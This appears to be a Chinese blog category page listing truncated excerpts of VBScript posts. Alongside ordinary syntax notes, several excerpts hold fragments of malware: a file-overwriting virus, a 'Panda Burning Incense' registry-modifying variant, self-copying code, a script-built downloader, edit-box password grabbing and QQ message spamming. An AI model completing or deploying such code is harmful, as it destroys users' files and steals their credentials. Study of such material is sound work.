VBS
文章平均质量分 85
hefenghhhh
愈挫愈勇,百折不挠!
展开
-
vbs 病毒学习
说明:作者对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后,会寻找硬盘上所有满足条件的文件,对其进行强制性覆盖(满足条件的文件数据将全部丢失)、并再创建一个相同文件名但后带.vbs的文件。因此,请注意设立好破坏测试条件,千万不要对他人进行测试,否则,一切后果自负。dim folder,fso,foldername,f,d,dc set fso=createobject("scrip转载 2008-10-01 19:13:00 · 747 阅读 · 0 评论 -
vbs 基本语法
call produce(argument1)Dim bian1,biang2const chang1,chang2eraseerase arrayexitexit doexit forexit functionexit suboption explicit 强制详细定义变量select caseVBscript常用函数: 1.数值型函数: abs转载 2009-05-15 20:07:00 · 8584 阅读 · 1 评论 -
经典的VBS程序
作者:星雨 文章来源:乐博网收集//妙用脚本和批处理清除电脑中的痕迹实现本功能使用了两个文件,VBS脚本文件reg.vbs(可以自己定义文件名);批处理文件reg.bat(可以自己定义文件名)。 1.VBS脚本文件如下: Dim WSHShell Set WSHShell=WScript.CreateObject("WScript.Shell") WSHShell.RegWrite "HK转载 2009-05-15 21:43:00 · 3831 阅读 · 0 评论 -
VBS列出进程名
set ws=createobject("wscript.shell")set fso=createobject("scripting.filesystemobject")set f1=fso.opentextfile ("abc.txt",2,1)for each ps in getobject("winmgmts:").instancesof("win32_process")f1.writel原创 2009-05-19 09:27:00 · 1494 阅读 · 0 评论 -
VBS 打开文件对话框
Set objDialog = CreateObject("UserAccounts.CommonDialog") objDialog.Filter = "All Files|*.*" objDialog.InitialDir = "C:/" intResult = objDialog.ShowOpen() If intResult=0 then wscript.quit ELSE wscript原创 2009-05-15 19:52:00 · 1606 阅读 · 0 评论 -
注册表 RestrictRun
一、开始菜单和桌面的功能限制方法: 1、限制开始菜单项: 在注册表:HKEY_USERS/“用户名”/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer下加入如下(新建)DWORD值和它们分别的意义是: “NoRun”=1 该用户的开始菜单中的“运行”命令被禁止; “NoSetFolders”=1 该用户的开始菜单中的“设置转载 2009-12-24 17:03:00 · 3943 阅读 · 0 评论 -
显示隐藏文件
ws.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Hidden",1,"REG_DWORD"显示ws.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Hidden",2,"REG_DWO原创 2009-12-29 16:13:00 · 681 阅读 · 0 评论 -
一个恶意软件的分析
解剖恶意插件症状:1、开机自己加载RKLauncher.exe2、开机自己打开世界之窗浏览器(我自己没有安装)3、自动运行两个注册表项(因为用户账户权限,所以发现的)4、IE主页被修改为:http://www.oly8.com5、会在桌面上出现一个淘宝的图标,和一人IE的,开始菜单中也是方法:通过打开的RKLauncher.exe,我找到RKLauncher.exe在硬盘的位置C:/Program Files/auncher/RKLauncher.exe,但是当我去找时,却没有发现这个文件夹,隐藏文件夹也全转载 2011-04-22 13:57:00 · 2159 阅读 · 0 评论 -
VBS提高
1.文件下载(无回显) echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe echo Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbe echo xPost.Open "GET转载 2008-12-10 19:23:00 · 23545 阅读 · 1 评论 -
php 小结
php语言 小结1嵌入方式为 或 2php中的注释有三种:一种是 // ,类似于C++ 一种是 # ,类似于linux一种是 /* */ ,类似于C 3.PHP中的变量用$开头 。$a=10;$c="这是字符串" ;$array=(1,2,3,4);$array=("A","B","C","D"); 4 .输出用echo 5.运算符转载 2008-12-02 19:23:00 · 483 阅读 · 0 评论 -
vbs 病毒学习二 (未测试)
VIRUS CODE STARTS HERE-----------------------------------------------------容错控制,防止发生异常抛出而导致程序崩溃On Error Resume Next创建文件系统对象Set fso=CreateObject("Scripting.FileSystemObject")获得系统文件夹S转载 2008-10-01 19:16:00 · 561 阅读 · 0 评论 -
vbs 获取编辑框中密码
使用脚本语言和IE右键菜单 我们可以使用注册表来控制IE右键菜单.当你装了FlashGet(网际快车)时,你会发现IE右键菜单多了两项:"使用网际快车下载"和"使用网际快车下载全部链接",而这时你打开注册表,在HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/MenuExt/下有这两个主键.这两个主键下都有两个值,一个是默认的串值,指定原创 2008-10-01 19:29:00 · 2352 阅读 · 0 评论 -
一个问题 关于CString 和char[]
//通过一个定时器,获取鼠标所指的窗口的句柄,如果该窗口有密码,则读取密码。void CgetpasswordDlg::OnTimer(UINT_PTR nIDEvent){ // TODO: 在此添加消息处理程序代码和/或调用默认值CPoint point;CString m_strprompt;CString m_static_pass; ::GetCursorPos(&point原创 2008-10-01 19:38:00 · 493 阅读 · 0 评论 -
vbs复制自身
on error resume nextset fs=createobject("scripting.filesystemobject") set dir=fs.getspecialfolder(0) windows 文件夹fs.getfile(wscript.scriptfullname).copy("d:/copy.vbs")fs.getfile(wscript.scriptfu原创 2008-10-06 17:21:00 · 1927 阅读 · 0 评论 -
熊猫烧香病毒vbs版本 仅供研究
dim fso,wsh,myfile,ws,pp,fsoFolder set wsh=w.createobject("w.shell") set fso=w.createobject("ing.filesystemobject") set myfile=fso.GetFile(w.fullname) 修改注册表(开始菜单里面的东西和IE各项设置)wsh.Regwrite "HKLM/SOFTW转载 2008-10-06 12:23:00 · 6768 阅读 · 0 评论 -
vbs 讲解
退格键 {BACKSPACE}、{BS} 或 {BKSP} BREAK {BREAK} CAPS LOCK {CAPSLOCK} DEL 或 DELETE {DELETE} 或 {DEL} 向下键 {DOWN} END {END} ENTER {ENTER} 或 ~ ESC {ESC} HELP {HELP} HOME {HOME} INS 或 INSERT {INSERT} 或 {INS转载 2008-10-06 12:21:00 · 1314 阅读 · 0 评论 -
字典文件等杂项
1.字典文件暴力破解如果没有设定好的字典文件,可能需要很长的时间。字典文件给出了生成密码的规则。比如密码是由三位小写字母和三位数字组成,而且字母在前,数字在后,则可以设定字典为aaa000-zzz999。若首字母为大写,则可设定为Aaa000-Zzz999 2.cmd里的copy可以合并某些文件命令格式为:copy 1.txt+2.txt+3.txt 4.txt 将原创 2008-10-12 00:03:00 · 781 阅读 · 0 评论 -
群发QQ信息
set ws=wscript.createobject("wscript.shell")for i=61713848 to 61713849 step 1ws.exec("cmd /c start tencent://Message/?Uin="&i)wscript.sleep 2000ws.sendkeys("hello")ws.sendkeys("{enter}")wscript.slee原创 2008-10-11 23:41:00 · 1062 阅读 · 0 评论 -
机房管理 限制学生玩游戏 psmgmt
'on error resume nextset ws=createobject("wscript.shell")set fs=createobject("scripting.filesystemobject")set dir1=fs.getspecialfolder(1)DIM s,tuichuDIM ssDIM psDIM ffDIM resultDIM s原创 2012-12-20 09:38:36 · 969 阅读 · 0 评论